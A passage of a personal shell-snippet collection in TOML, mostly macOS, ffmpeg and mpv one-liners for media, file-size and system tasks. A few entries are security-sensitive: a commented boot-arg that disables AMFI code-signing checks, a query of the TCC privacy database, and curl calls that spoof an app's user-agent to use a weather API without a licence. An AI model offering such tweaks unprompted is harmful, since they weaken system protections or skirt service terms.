command = "curl -v \"https://download.maxmind.com/app/geoip_download?edition_id=GeoLite2-{City,ASN,Country}&suffix=tar.gz&license_key=${MAXMIND_LICENSE_KEY}\" -J -O; for f in ./Geo*.tar.gz ; do tar -xzf ${f} --directory=. --strip-components 1 -C./ \"*.mmdb\" ; done"
output = ""
[[snippets]]
description = "GeoIP online: looks up MANY services"
command = "open \"https://resolve.rs/ip/geolocation.html?ip=18.10.1.1\""
output = ""
[[snippets]]
description = "macOS: List all registered services. Run `pbs` without options to rescan services. See old docs: https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/SysServices/Articles/providing.html"
command = "/System/Library/CoreServices/pbs -dump_pboard ; # https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/SysServices/Articles/providing.html"
output = ""
[[snippets]]
description = "macOS defaults/cfprefsd logging: Find all defaults key look ups that have missing keys. Nice for finding secret little debug flags. Like NSDebugServices."
command = "\\sudo log stream --info --debug --predicate \"subsystem == 'com.apple.defaults'and not (processImagePath contains 'iTerm2') \" | g -o \"no value for key [^ ]+\" | uniq | hck -f 5"
output = ""
[[snippets]]
description = "macOS: open dictionary from URL schemes. Obscure and old. Worth poking around."
command = "open x-dictionary:r:m_en_gbus0469700:com.apple.dictionary.ODE:hip; sleep 5; open x-dictionary:r:'Hip?lang=en&signature=com.apple.DictionaryApp.Wikipedia'"
output = ""
[[snippets]]
description = "lsof: list of listening ports including TCP and UDP. No way to do without filtering output I think."
command = "sudo lsof -P -n -iUDP -iTCP | g -v '\\(ESTABLISHED\\)'"
output = ""
[[snippets]]
description = "shell-fu: Get average/mean/median/mode/percentiles for recent dns query times using GNU `dashmash`. Looks very handy! Though it has the crusty old-seeming GNU util feel of course (like not accepting floats for the perc, verbose in some ways, obtusely terse in others🤷‍♂️) "
command = "tail -n 5000 /tmp/dns.log | g -o \"\\d+ms\" | g -v \"0ms\" | g -o \"\\d+\" | datamash --header-out mode 1 mean 1 median 1 perc:95 1 perc:99 1"
output = ""
[[snippets]]
description = "mpv/iina wattage and bluetooth dBm watcher new. might keep growing.."
command = "T=5.0; CONNECTED_ID=$(blueutil --recent | g -v \"phaser\" | g \", connected\" | tee -a /dev/stderr | grep -E -o \"(\\w\\w\\-){5}\\w\\w\"); for x in {1..$((int( (8 * 3600)/T )))}; do DBM2=$( [ -z $CONNECTED_ID ] && echo \"\" || blueutil --info $CONNECTED_ID | g -o \"\\-\\d+ dBm\"); DBM=$(echo $(egpu | g Power | g -o \"\\d+\")W); mpc2 script-message add-text '\"'$DBM'\\\\N'$DBM2'\"' $((T + 0.250)); sleep ${T}; done"
output = ""
[[snippets]]
description = "python: Profile a CLI python tool with cProfile and snakeviz"
command = "/usr/local/opt/python@3.8/bin/python3.8 -m cProfile -o /tmp/tmp.prof /usr/local/bin/pint-convert \"5ft inches\" ; snakeviz3 /tmp/tmp.prof"
output = ""
[[snippets]]
description = "fzf example: Interactive fzf selector with regex filtering by disabling all fzf filtering and running grep. Grep reruns on any key change. Great"
command = "CMD=\"displayplacer list | grep --color=always -E \" FZF_DEFAULT_COMMAND=\"$CMD $(printf %q \"$INITIAL_QUERY\")\" fzf --ansi --disabled --query \"$INITIAL_QUERY\" --bind \"change:reload:sleep 0.1; $CMD {q} || true\""
output = ""
[[snippets]]
description = "shell-fu: Grep extract matching group, sorta. Using GNU grep, -P perl mode, and \\K for zero-width look behind assertions. Look ahead also supported. See link"
command = "for x in {1..10}; do echo \"for client: $((RANDOM%1000000))\"; done | ggrep -oP \"for client: \\K\\d+\" ## `\\K` is zero-width look behind assertions, key for this! see: https://unix.stackexchange.com/questions/13466/can-grep-output-only-specified-groupings-that-match"
output = ""
[[snippets]]
description = "shell-fu: grep matching group extraction FOR REAL. But relies on the unusual `pcregrep` util. Or use `pcre2grep`. This is the correct solution though."
command = "for x in {1..10}; do echo \"for client: $((RANDOM%1000000))\"; done | pcregrep -o1 \"for client: (\\d+)\""
output = ""
[[snippets]]
description = "macOS/applescript: Lista all defined keycodes."
command = "grep '^ *kVK' \"$(mdfind -onlyin /Library/Developer/ 'kMDItemDisplayName = \"Events.h*\"c' | head -1)\" |tr -d ,|while read x y z;do printf '%d %s %s\\n' $z $z ${x#kVK_};done|sort -n"
output = ""
[[snippets]]
description = "macOS Applescript in JavaScript prop fetching example"
command = "osascript -l JavaScript -e 'var qt=Application(\"Quicktime Player\"); qt.includeStandardAdditions = true; qt.documents[0].currentTime()'"
output = ""
[[snippets]]
description = "macOS: list users"
command = "sudo ls /var/db/dslocal/nodes/Default/users"
output = ""
[[snippets]]
description = "macOS time machine: Add Google Chrome to be excluded from time machine PERSISTENTLY. The 2 tricks are the `-p` param which indicates a fixed-path exclusion, so perserved on updates/replacements, and then also using the \"/System/Volumes/Data\" as the root since that one is the real one from the time machine perspective it would seem."
command = "sudo tmutil addexclusion -p \"/System/Volumes/Data/Applications/Google Chrome.app\""
output = ""
[[snippets]]
description = "macOS power/pmset: change the undocumented `darkwakes` param and see where the plist is."
command = "plutil -p /Library/Preferences/com.apple.PowerManagement.plist ; ### sudo pmset -b darkwakes 0; sudo pmset -b darkwakes 3 # https://apple.stackexchange.com/questions/116348/how-can-i-enable-and-or-disable-os-xs-power-nap-feature-from-within-terminal"
output = ""
[[snippets]]
description = "fs_usage: extract pathnames only and de-duplicate. Uses `unbuffer` to ensure maximum path length (more than `-w` provides) and a bunch of hacky shell-fu to get only the paths and then de-dupe. Time limit needed."
command = "sudo unbuffer fs_usage -t 10 -f pathname Subler | g \"\\s{2,}/\" | hck -d '\\s{2,}/' -D \"/\" -f 2 | hck -d '\\s{3,}0\\.0' -f 1 | pz '\"/\" + s' | sort -u"
output = ""
[[snippets]]
description = "macOS wifi sniffing: change channel while Wireshark is sniff on macOs"
command = "sudo airport -c149"
output = ""
[[snippets]]
description = "shell-fu: Strip leading and trailing whitespace from every line"
command = "echo \"Do not hug me. \" | sed -E \"s|^\\s+||g;s|\\s+$||g\""
output = ""
[[snippets]]
description = "shell-fu: strip \"nearly all\" shell/terminal codes including colors and clickable URLs"
command = "sed -r \"s/\\x1B\\[([0-9]{1,3}(;[0-9]{1,2})?)?[mGK]//g;s/\\x1B\\]8;;.*\\x1B\\\\\\(.*)\\x1B\\]8;;\\x1B\\\\\\/\\1/g\""
output = ""
[[snippets]]
description = "shell-fu: Sum total size of files selected by an `fd` query, using gparallel to speed up the size lookup"
command = "fd -0 --changed-before=\"4w\" --size=\"+5M\" | gparallel -0 -n 100 -j 1 stat -f \"%z\" {} | pv -l | awk '{sum+=$1} END {print sum/1024/1024 \" MB\"}'"
output = ""
[[snippets]]
description = "trivia: get trivia for every media in a current folder. (need to put my \"Get Trivia For Any Media\" shell function onto github eventually)"
command = "rlz; mkdir trivia; for f in *.mkv ; do MP_TRIVIA_TTL=1200 VERBOSE=1 TRIVIA_NO_CAST=1 TRIVIA_NO_GOOFS=0 NO_FOLD=1 mpTrivia \"$(realpath \"$f\")\" | sed -r \"s/\\x1B\\[([0-9]{1,3}(;[0-9]{1,2})?)?[mGK]//g;s/\\x1B\\]8;;.*\\x1B\\\\\\(.*)\\x1B\\]8;;\\x1B\\\\\\/\\1/g\" > \"trivia/${f:t:r}.trivia\" ; done"
output = ""
[[snippets]]
description = "geoip/ISP: Use akamai CDN response headers to look up a bunch of geo stuff about your current IP."
command = "curl -v https://www.united.com -o /dev/null 2>&1 | g x-akamai-edgescape"
output = ""
[[snippets]]
description = "shell-fu: if internet stop working enable wifi"
command = "while true ; do getInternetWorking && echo GOOD...internet is active || ( echo BAD...NO INTERNET && networksetup -setairportpower en1 on ) ; psleep 600; done | tee -a /tmp/wifi_checker_log.txt"
output = ""
[[snippets]]
description = "ffmpeg: more constant frame rate stuff"
command = "ffmpeg -i \"`mpp`\" -t 60 -c copy -map 0:v -vcodec copy -bsf:v h264_mp4toannexb /tmp/testo.h264; ffmpeg -r \"24000/1001\" -i /tmp/testo.h264 -c copy -y /tmp/testo_h264.mp4; ffprobe -loglevel error -select_streams v:0 -read_intervals '%03:00' -show_entries packet=pts_time,flags -of csv=print_section=0 /tmp/testo_h264.mp4 | hck -d , -f 1 | sort -n | awk ' NR == 1{old = $1; next} {print $1 - old; old = $1}' | sort | uniq -c"
output = ""
[[snippets]]
description = "subtitle/srts: Strip HTML tags from every *.en.srt file in current directory. A bit janky... but seems to work"
command = "for s in *.en.srt ; do cat \"$s\" | sed -E \"s|<(/?\\w+[^<>]*)>||g\" | sponge \"$s\" ; done"
output = ""
[[snippets]]
description = "vidc TNG SD vs HD syncing! HD source is 'Star.Trek.The.Next.Generation.S04.REPACK.1080p.BluRay.x264-MIXED[rartv]' with the classic MEECH/MCH SD source."
command = "vidc.py \"$(ls **/*$(guessit --json \"`mpp`\" | jq -r ' . | \"S\\(.season | pad_left(2))E\\(.episode | pad_left(2))\"')*.mkv | g -v \"$(basename \"`mpp`\")\")\" --vid1-crop=\"1414:1066:20:14\" --vid2-crop=\"iw:ih-8\""
output = ""
[[snippets]]
description = "vidc/vid compare: HD vs SD comparing with smarter auto-selection and hardcorded TNG specific cropping details"
command = "VM=\"$(ls **/*$(guessit --json \"`mpp`\" | jq -r ' . | \"S\\(.season | pad_left(2))E\\(.episode | pad_left(2))\"')*.mkv | g -v \"$(basename \"`mpp`\")\")\"; MAX_ID=$(mpg track-list | jq '[.data[] | select(.type==\"video\") | .id] | max'); IN_MEDIA=$(mpg track-list | jq '.data[] | select(.type==\"video\") | select(.\"external-filename\" != null) | select(.\"external-filename\" | endswith(\"'${VM:t}'\")) | .id'); [ -z $IN_MEDIA ] && VID=\"$((MAX_ID + 1 ))\" || VID=$IN_MEDIA; vidc.py \"$VM\" --vid1-crop=\"1414:1066:20:14\" --vid2-crop=\"iw:ih-8\" --vid2=\"$VID\""
output = ""
[[snippets]]
description = "shell-fu: Get total size of all files written/modified by Dropbox in the last 3 days. Sums up the REAL ON DISK size not the \"apparent\" size."
command = "fd -0 --max-depth=7 --changed-within=3d --size=\"+100K\" . ~/Dropbox/ | gparallel -0 -n 100 -j 1 gdu --block-size=1 {} | pv -l | awk '{sum+=$1; print $0} END {print sum/1024/1024 \" MiB\"}'"
output = ""
[[snippets]]
description = "shell-fu: Get the real on-disk size, not the apparent size, of a particular file. `Stat` and `ls` all show the apparent size. Useful for spare bundles, Dropbox's smart sync, rclone vfs cache, etc."
command = "gdu --block-size=1 INPUT_FILE"
output = ""
[[snippets]]
description = "time machine: see what `backupd` is doing live. (helpful when for some reason a deep-scan is triggered)"
command = "sudo unbuffer fs_usage -f pathname backupd | grep \"/\" | grep \"backup\\|localsnapshots\\|Core3\" | pv -l | g -v '/private/var/folders/' | hck -D \" \" -f 3- | hck -d \"/\" -D \"/\" -f 1-6 | g -v \"^F=\" | uniq"
output = ""
[[snippets]]
description = "cli: get weather from any lat/long with curl using an istat API. (surprisingly it doesn't actually check or require the license info to be sent with it. GoodGuyiStatsMenus <3 )"
command = "curl -H \"Host: weather.istatmenus.app\" -H \"Accept: */*\" -H \"User-Agent: iStat%20Menus%20Status/1177 CFNetwork/1128.1 Darwin/19.6.0 (x86_64)\" -H \"Accept-Language: en-us\" --data \"{\\\"uuid\\\":\\\"whatsup\\\",\\\"twc-units\\\":\\\"e\\\",\\\"provider\\\":\\\"ds\\\",\\\"ds-language\\\":\\\"en\\\",\\\"longitude\\\":\\\"-72.595\\\",\\\"twc-language\\\":\\\"en-US\\\",\\\"latitude\\\":\\\"37.742\\\",\\\"aw-language\\\":\\\"en\\\",\\\"apiversion\\\":\\\"6\\\",\\\"app\\\":\\\"istatmenus\\\",\\\"build\\\":\\\"1177\\\"}\" --compressed \"https://weather.istatmenus.app/istatmenus/fetch.php\" | jq"
output = ""
[[snippets]]
description = "find duplicate files based on size. improved version of above! also very hacky. Though gnu find's printf is suprisingly fast"
command = "OG_IFS=\"$IFS\"; IFS=$'\\n'; for d in $(gfind . -maxdepth 10 -size \"+5M\" -type f -printf \"%10s\\t%p\\n\" | gsort -r --numeric | tee /tmp/dupe.log | guniq --repeated -c --check-chars=10 | pv -l ); do SIZE=$(hck -f 3 <<<$d); echo \"DUPES of size $(roundNum $((SIZE/1024.0/1024.0)) 3) MB:\\n$(hck -d $'\\t' -f 2 <(cat /tmp/dupe.log | g $SIZE))\"; done | head -20; IFS=\"$OG_IFS\";"
output = ""
[[snippets]]
description = "reverse eng EASY MODE: dump the JS source for an Electron app."
command = "npx asar extract app.asar /tmp/app.asar.unpacked"
output = ""
[[snippets]]
description = "macOS rev-eng: attach/get debug port/lldb apps without the `get-task-allow` entitlement. Who knows when apple will will this"
command = "# nvram boot-args=\"amfi_get_out_of_my_way=0x1 #### https://www.reddit.com/r/macprogramming/comments/fo8468/disabled_sip_for_debug_now_i_cant_attach_to/"
output = ""
[[snippets]]
description = "show the shared libraries/ids used by a binary"
command = "otool -L /Applications/App.app/Contents/MacOS/app"
output = ""
[[snippets]]
description = "show/print the dynamic libraries used by a binary after launching it. In contrast to otool -L, this show something linked by something that's linked, etc.. rather than just the 1st order. (though in practice this means you see maannny libraries linked)"
command = "DYLD_PRINT_LIBRARIES=1 DYLD_PRINT_LIBRARIES_POST_LAUNCH=1 DYLD_PRINT_RPATHS=1 /Applications/Messenger.app/Contents/MacOS/Messenger"
output = ""
[[snippets]]
description = "pmset schedule wakes storage location"
command = "plutil -p \"/Library/Preferences/SystemConfiguration/com.apple.AutoWake.plist\" # pmset schedule wake ...."
output = ""
[[snippets]]
description = "rclone cache load: Read the first 1G of various files IN PARALLEL to load them into the rclone mount vfs-cache. The paralleization is key to maximize bandwidth usage."
command = "for f in {01..09} ; do echo *S05E${f}*.mkv; done | gparallel -n 1 -j 5 'gdd if=\"{}\" bs=1G count=1 > /dev/null '"
output = ""
[[snippets]]
description = "mac/apple configuration mobile profiles / .mobileconfig: Unsigned a signed profile, turning it into a straight plist"
command = "/usr/bin/security cmd -D -i signed_profile_path -o unsigned_profile_path"
output = ""
[[snippets]]
description = "archivebox: Archive Chrome bookmarks in specific folders/subfolders. Could be more elegant."
command = "{ cat ~/Library/Application\\ Support/Google/Chrome/Default/Bookmarks | jq -r '.roots.bookmark_bar.children[] | select(.name == \"random stuff 2022\").children[] | select(.name == \"Stuff to learn 2022\").children[] | .url' && cat ~/Library/Application\\ Support/Google/Chrome/Default/Bookmarks | jq -r '.roots.bookmark_bar.children[] | select(.name == \"random stuff 2022\").children[] | .url' } | g -v \"^null\" | g -v \"facebook.com\" | archivebox add"
output = ""
[[snippets]]
description = "archivebox: remove unarchived but indexed urls matching certain domains. I love archivebox but its janky and its own url_blacklist doesnt seem to work..."
command = "archivebox list --csv url,is_archived 2> /dev/null | g \",false\" | __grepAny youtube.com facebook.com instagram.com united.com google.com 127.0.0.1 | hck -d \",\" -f 1 > to_removed ; ## cat to_removed | sed 's|\"||g' | gparallel -j 1 -n 1 archivebox remove --yes {}"
output = ""
[[snippets]]
description = "macOS: enable system-web web view inspector. Works in iCloud preferences, Dictionary app, etc..."
command = "defaults write NSGlobalDomain WebKitDeveloperExtras -bool true; defaults write -g WebKitDeveloperExtras -bool YES"
output = ""
[[snippets]]
description = "UTF-16 -> UTF8 conversion. In this case the UTF-16BE encode JS for the dictionary.app embedded webview"
command = "iconv -f UTF-16BE -t UTF-8 /Applications/Dictionary.app/Contents/Resources/MainPageJavaScript.js -o - | less"
output = ""
[[snippets]]
description = "highest sound frequency i can hear at my age. Children top out around 20khz. I can hear this but might just be side effect distortion noises from my headphones."
command = "ffplay -f lavfi \"sine=17000\" -af \"volume=3\" -nodisp"
output = ""
[[snippets]]
description = "macOS say: highlight each word as its spoken. Cool old feature. Sadly doesn't work with Siri voices"
command = "say --interactive='magenta/white' 'hello my name is chris. What is your name? Isn't this old school speech synthesis stuff cool.'"
output = ""
[[snippets]]
description = "electron gpu helpers: List all of them with pgrep. Then kill them if you want. Can free up memory and is usually harmless as they're insta-restarted. Try a more explicit list in the regex if you want some bonus safety."
command = "pgrep -f -l \"Helper \\(GPU\\)\\.app\" | g -o \"^.*\\w+\\.app.*GPU\\)\" # pkill -f -l \"Helper \\(GPU\\)\\.app\" # pgrep -f -l \"(WhatsApp|Visual Studio|Discord|Signal.app|Obsidian|Messenger.app).*Helper \\(GPU\\)\""
output = ""
[[snippets]]
description = "zsh-fu: create a temporary file storing the output a subshell. awesome"
command = "ls =(echo hiiiiiiiiii)"
output = ""
[[snippets]]
description = "get random name/email/phone"
command = "NAME=\"$(curl https://randomuser.me/api/\\?inc\\=name | jq -r '.results[0].name | \"\\(.first) \\(.last)\"')\"; PHONE=\"$(curl https://randomuser.me/api/\\?inc\\=phone\\&nat\\=us | jq -r '.results[0].phone' | sed \"s|[^0-9]||g;s|^|\\+1|\")\"; EMAIL=\"$(curl https://randomuser.me/api/\\?inc\\=email | jq -r '.results[0].email' | sed \"s|example.com|gmail.com|\")\"; echo \"$NAME - $PHONE - $EMAIL\";"
output = ""
[[snippets]]
description = "yt-dlp/youtube-dl: Download playlist[s] settings, but first simulate a run where all sizes are logged. Then the commented out awk one-liner sorts the files by size and shows them. Or use awk to sum them for total size."
command = "yt --print \"%(title)s||%(filesize_approx)s\" --limit-rate=2M --no-overwrites --no-post-overwrites --write-description --write-info-json --match-filter 'duration<1800' -o '%(playlist_title)s-%(playlist_uploader)s/%(title)s.%(ext)s' -f 'bestvideo+bestaudio' https://........ | tee all_file_sizes; ##### cat all_file_sizes | hck -d \"\\|\\|\" | awk -F $'\\t' '{print $1/1024/1024,\"\\t\",$2}' | sort -n | less"
output = ""
[[snippets]]
description = "vidc/iina/mpv: add subtitles to each video in a vidc comparison... then tweak mpv so that the mpv native subtitles line up nearly-exactly with the ffmpeg/lavfi embedded subs. Both just use libass so should be easy to get pixel perfect alignment"
command = "mpc vf add \"\\\"@ADDSUBS:lavfi=[split=2[v1][v2]; [v1]crop=(in_w/2):in_h:0:0,subtitles='/media/path/some_font.en.srt':force_style='FontName=Helvetica'[v1]; [v2]crop=(in_w/2):in_h:(in_w/2):0,scale=-2:480,subtitles='/media/path/some_font.en.srt':force_style='FontName=Helvetica',scale=-2:1080[v2];[v1][v2]hstack=2]\\\"\"; mpg sub-font-size 40.55 ; mpg sub-pos 98; mpg sub-ass-line-spacing -5.000000; mpg sub-margin-y 10; mpg sub-margin-x 20; mpg sub-spacing -0.05; mpg sub-font \"Helvetica\";"
output = ""
[[snippets]]
description = "pdf: extract audio/attachment from pdf file, for example audio files embedded in pacer .pdf files"
command = "pdfdetach -saveall show_temp.pdf"
output = ""
[[snippets]]
description = "iOS get sketchy configuration stuff"
command = "curl -H \"Host: api.smoot.apple.com\" -H \"accept: */*\" -H \"x-apple-languages: [\\\"en-US\\\",\\\"zh-Hans-US\\\",\\\"zh-Hant-US\\\"]\" -H \"user-agent: parsecd/1.0 (iPhone12,3; iPhone OS 13.5 17F75) parsecd/1.0\" -H \"accept-language: en-us\" --compressed \"https://api.smoot.apple.com/bag?cc=US&esl=en&key=frigate1738&locale=en_US&tuscany=1\""
output = ""
[[snippets]]
description = "macOS diagnose/dump detailed monitor timing info. So very hardcore. See link for more info on how to interpret."
command = "/System/Library/Extensions/AppleGraphicsControl.kext/Contents/MacOS/AGDCDiagnose -a ## open 'https://forums.macrumors.com/threads/studio-display-natural-resolution.2338616/page-2'"
output = ""
[[snippets]]
description = "screenplay/screenwriting conversion tools"
command = "pip3 install screenplain; screenplain -f fdx Star_Trek_-_Deep_Space_Nine_-_488_-_The_Bar_Association.txt out.fdx"
output = ""
[[snippets]]
description = "ffmpeg/mpv/audio testing: Play arbitrary sine wave to arbitrary audio output device on macOS. Useful for comparing how different speakers/headphone/buds handle very low frequency. Like apparently airpods handle 50hz decently, studio display speakers are so-so, and the macbook pro speakers totally fail at it. (likely airpods still handle it very poorly compared to others though)"
command = "ffmpeg -f lavfi -i \"sine=50\" -af \"volume=1\" -f wav - | mpv - --audio-device=coreaudio/AppleUSBAudioEngine:Apple\\ Inc.:Studio\\ Display:00008030-000078380250802E:6"
output = ""
[[snippets]]
description = "mpTrivia: generate and save trivia for every media in every season's folder"
command = "for ROOT in *-Season.* ; do cd \"<<MEDIA_ROOT>>/${ROOT}\"; mkdir trivia; for f in *.mkv ; do echo2 \"working on: '$f' in '$ROOT'\"; MP_TRIVIA_TTL=1200 TRIVIA_NO_CAST=1 TRIVIA_NO_GOOFS=0 NO_FOLD=1 mpTrivia \"$(realpath \"$f\")\" | sed -r \"s/\\x1B\\[([0-9]{1,3}(;[0-9]{1,2})?)?[mGK]//g;s/\\x1B\\]8;;.*\\x1B\\\\\\(.*)\\x1B\\]8;;\\x1B\\\\\\/\\1/g\" > \"trivia/${f:t:r}.trivia\" ; psleep 0.5; done ; done"
output = ""
[[snippets]]
description = "ProccessMonitor: Yet another hack to get around its improper JSON output. This way avoid sed buffering-multiple lines so you actually see the jq output line-by-line live. Instead of fixing gawk's multiline mess-up it just exclude /bin/gawk and any line that doesnt start with '{'"
command = "sudo /Applications/monitoring/ProcessMonitor.app/Contents/MacOS/ProcessMonitor | grep --line-buffered -E '^{' | g -v \"/bin/gawk\" | jq --unbuffered -c '[.event, .process.path, \"\\(.process.arguments | join(\" \"))\", .process.pid, .process.ppid, .ancestors]'"
output = ""
[[snippets]]
description = "zsh glob examples: Slightly fancier ones. But just read the docs"
command = "l *S[0-9]##E<0-4><0-4>##*.mkv; echo ~/.[^.]* ; echo *S0?E*.mkv # https://zsh.sourceforge.io/Doc/Release/Expansion.html#Glob-Operators"
output = ""
[[snippets]]
description = "rsync selective media copy: Copies select media while preserving folder name and avoid the need to duplicate the folder name in the filters or anything besides one place. The key is the funnky filtering, including the order, and not ending the src path with a slash (which means it refers to the folder itself not the contents)"
command = "rsync --itemize-changes -r --dry-run --times --append-verify --progress -P -v -v --include=\"*/\" --include=\"*/*E[0-1]*\" --exclude=\"*\" /Users/chris/Downloads/media/putio_mount_direct/MEDIA_FOLDER_NO_ENDING_SLASH '/Volumes/Turbolift/Star Trek/DS9/1080p_upscale/'"
output = ""
[[snippets]]
description = "hacky process monitor: get all running zsh proc PIDs, then list current zsh procs, excluding those already seen, every 0.5 seconds. Very crappy way of find new executions."
command = "EX=\"$(join_by \"|\" $(pg zsh | sed -E \"s|^\\s+||\" | hck -f 1))\"; while true ; do ps -eo pid,ppid,%cpu,cpu,rss,%mem,user,start,time,etime,command | grep zsh | g -v \"^\\s*($EX)\\s\" | g -v \" grep zsh\" ; psleep 0.5; done"
output = ""
[[snippets]]
description = "ffmpeg: make an .mp4 playable while encoding. Not sure which flags are necssary. Might only be playable in idiosyncratic circumstances. Worked on DS9"
command = "ffmpeg -i input.mkv -c:s mov_text ... -movflags +frag_keyframe+separate_moof+omit_tfhd_offset+empty_moov+faststart output_playable_while_encoding.mp4"
output = ""
[[snippets]]
description = "macOS network traffic monitoring: leverage tripmode's network extension debug log messages to get a janky log of all network activity hosts/sizes. Gives you an idea of what NetworkExtensions have access to"
command = "log stream --info --predicate 'processImagePath Contains[c] \"tripmode\" and NOT message Contains[c] \"53Q6R32WPB.com.hnc.Discord.helper\" and message contains \"sourceApp\" and NOT message contains \"remoteEndpoint = 224.0.0.251\" and NOT message contains \"remoteEndpoint = ff02::fb\" ' --debug | __grepAny \"sourceAppIdentifier\" \"remoteEndpoint\" \"remoteHostname\" \"bytes\" \"Debug\" source \"local\" \"remote\""
output = ""
[[snippets]]
description = "hue: dim huelights to 50 only if they're already brighter. This ensures your dim automation doesn't actually brighten them"
command = "hue lights 16 \"=$(( min($(hue --json lights 16 | jq '.state.bri'),50) ))\""
output = ""
[[snippets]]
description = "processmonitor: yet another attempt to filter out the broken json so that errors are avoided"
command = "sudo /Applications/monitoring/ProcessMonitor.app/Contents/MacOS/ProcessMonitor | grep --line-buffered -E '^{.*}$' | g -v \" awk BEGIN\" | grep --line-buffered -v -F 's/\\[/{/' | tee /tmp/tmp | jq --unbuffered -c '[.event, .process.path, \"\\(.process.arguments | join(\" \"))\", .process.pid, .process.ppid, .ancestors]'"
output = ""
[[snippets]]
description = "very janky star trek script parsing looking for lines of dialoge spoken in parallel. Interesting because these parts of the scripts can reveal the exact words being spoken by faint background characters"
command = "for f in Star_Trek_-_Deep_Space_Nine_-_53* ; do cat \"$f\" | g -A100000 \"INTERIORS\\s+EXTERIORS\" | __grepCaseSensitive -A8 -E \"(\\t{2,}|\\s{4,})[A-Z]{3,}(\\t{2,}|\\s{4,})[A-Z]{3,}(\\s+[A-Z]+)*$\" ; done"
output = ""
[[snippets]]
description = "dylib: look up a dylib's API version... note that for many things, like MPV, the client api has a version that's distinct from the user-facing API version. Just recently MPV bumped the client API to 2.0 from the old 1.09 (and the user-facing version to v0.34)"
command = "otool -L /Users/chris/Documents/iina/deps/lib/libmpv.1.dylib"
output = ""
[[snippets]]
description = "shell-fu: way of adding things to the PATH system-wide easily, without modifying shell profile/configs/etc. Just create a file in /etc/paths.d ! Had no idea this existed. I suspect it also results in the PATH being updated in more places. Niiiiiice."
command = "ls -la /etc/paths.d"
output = ""
[[snippets]]
description = "macOS permissions/tcc: show current permissions for some apps as seen by the TCC.db. Still can't figure out why iTerm can't make a basic oascript call but Terminal and alacritty can. iTerm has all the perms all the others have and much more, but perhaps the problem is it has too many..."
command = "sudo sqlite3 /Library/Application\\ Support/com.apple.TCC/TCC.db 'select * from access' | g \"(terminal|iterm|alac)\" | LC_ALL=UTF-8 sort"
output = ""
[[snippets]]
description = "hue lights monitor. Updates fast with consistent sorting. Relies on this hue-cli util: https://github.com/bahamas10/hue-cli (the hue api is so easy its almost worth just doing the requests myself. Good Guy Hue. )"
command = "while true; do LIGHTS=$(hue --json lights 7,16 | jq -c \"{name,state}\" | sort | jq -C); clear; echo $LIGHTS; sleep 0.15; done"
output = ""
[[snippets]]
description = "iina/applescript/cliclick example. Dealing with some new IINA/Montery bug where changing the `pause` state via a socket results in IINA not syncing audio/video. Maybe sending this key event is a janky workaround."
command = "osascript -e 'tell application \"IINA\" to activate'; cliclick kd:cmd kd:alt kd:ctrl t:= ku:cmd ku:alt ku:ctrl"
output = ""
[[snippets]]
description = "macos: move window by dragging + cmd+ctrl"
command = "defaults write -g NSWindowShouldDragOnGesture -bool true"
output = ""
[[snippets]]
description = "macos sandbox app/cli tool exec"
command = "/usr/bin/sandbox-exec -n no-network ping 1.1.1.1 ### no-internet no-network no-write no-write-except-temporary pure-computation"
output = ""
[[snippets]]
description = "XCode various tools. Like the huge ipatool ruby script"
command = "ls -la /Applications/Xcode.app/Contents/Developer/usr/bin ; ipatool --help"
output = ""
[[snippets]]
description = "iina/mpv filtering fun: visualize the volume difference made by 'dynaudnorm' great/essentional for trying to tweak and tune the dynaud parameters and see the effects live. (and hear)"
command = "function dyn() { mpc set lavfi-complex \"\\\"[aid1]asplit=2[a2],pan='mono|c0=0.25*c0+0.25*c1+c2',${2},fps=${3}[vfreq];[a2]dynaudnorm=${1},asplit=2[ao],pan='mono|c0=0.25*c0+0.25*c1+c2',${2}, fps=${3}[vfreq2]; [vid1]${4}crop=iw:ih,fps=${3}[vid1_tmp]; [vfreq2][vfreq]vstack,transpose=2[vfreq]; [vfreq][vid1_tmp]scale2ref='round(max(ih*0.3,(ih*(16/9) - iw))/2)*2':in_h:flags=bilinear[vfreq][vid1_tmp];[vid1_tmp][vfreq]hstack,${5}scale=iw:ih[vo]\\\"\" }; FPS='23.976'; dyn 'g=61:f=300:p=0.7:maxgain=10:altboundary=true' \"showvolume=rate=${FPS}:dm=2:o=h:h=120:w=960:s=1:f=0.96\" \"$FPS\" ################### \"drawtext=fontsize=15:fontcolor=white:shadowx=2:shadowy=2:x=30:y=main_h/40:text='frame=%{pict_type} pts=%{pts} n=%{n}',\" \"drawtext=fontsize=15:fontcolor=white:shadowx=2:shadowy=2:x=30:y='main_h/40+20':text='frame=%{pict_type} pts=%{pts} n=%{n}',\""
output = ""
[[snippets]]
description = "duti show extension and uti associations. Instead of `mdls`. This is flag is UNDOCUMENTED though so is great to know about"
command = "duti -e .txt; duti -u com.microsoft.tnef"
output = ""
[[snippets]]
description = "ffmpeg/mpv/iina: get the average and peak volume for some media. This made it very clear that for some reason ST:VOY has a way higher average than ST:DS9"
command = "ffmpeg -i \"`mpp`\" -to 00:10:00 -map 0:a -af 'volumedetect' -f null - 2>&1 | pv -l | g Parsed_volumedetect | g \"_volume:\""
output = ""
[[snippets]]
description = "mpTrivia saver: voyager"
command = "rlz; for ROOT in *-Season.* ; do cd \"/Volumes/Turbolift/Star Trek/Voyager/${ROOT}\"; mkdir trivia; for f in *S[0-9]##E[0-9]*.mkv ; do echo2 \"working on: '$f' in '$ROOT'\"; MP_TRIVIA_TTL=10000 TRIVIA_NO_CAST=1 TRIVIA_NO_GOOFS=0 NO_FOLD=1 mpTrivia \"$(realpath \"$f\")\" | sed -r \"s/\\x1B\\[([0-9]{1,3}(;[0-9]{1,2})?)?[mGK]//g;s/\\x1B\\]8;;.*\\x1B\\\\\\(.*)\\x1B\\]8;;\\x1B\\\\\\/\\1/g\" > \"trivia/${f:t:r}.trivia\"; trekTriviaMA \"$(realpath \"$f\")\"> \"trivia/${f:t:r}.mem_alpha_trivia\" ; psleep 60; done ; done"
output = ""
[[snippets]]
description = "mpTrivia lister: in a dir, find recent things, select for sorta movie, and use `mpTrivia` to get the rating and year and info"
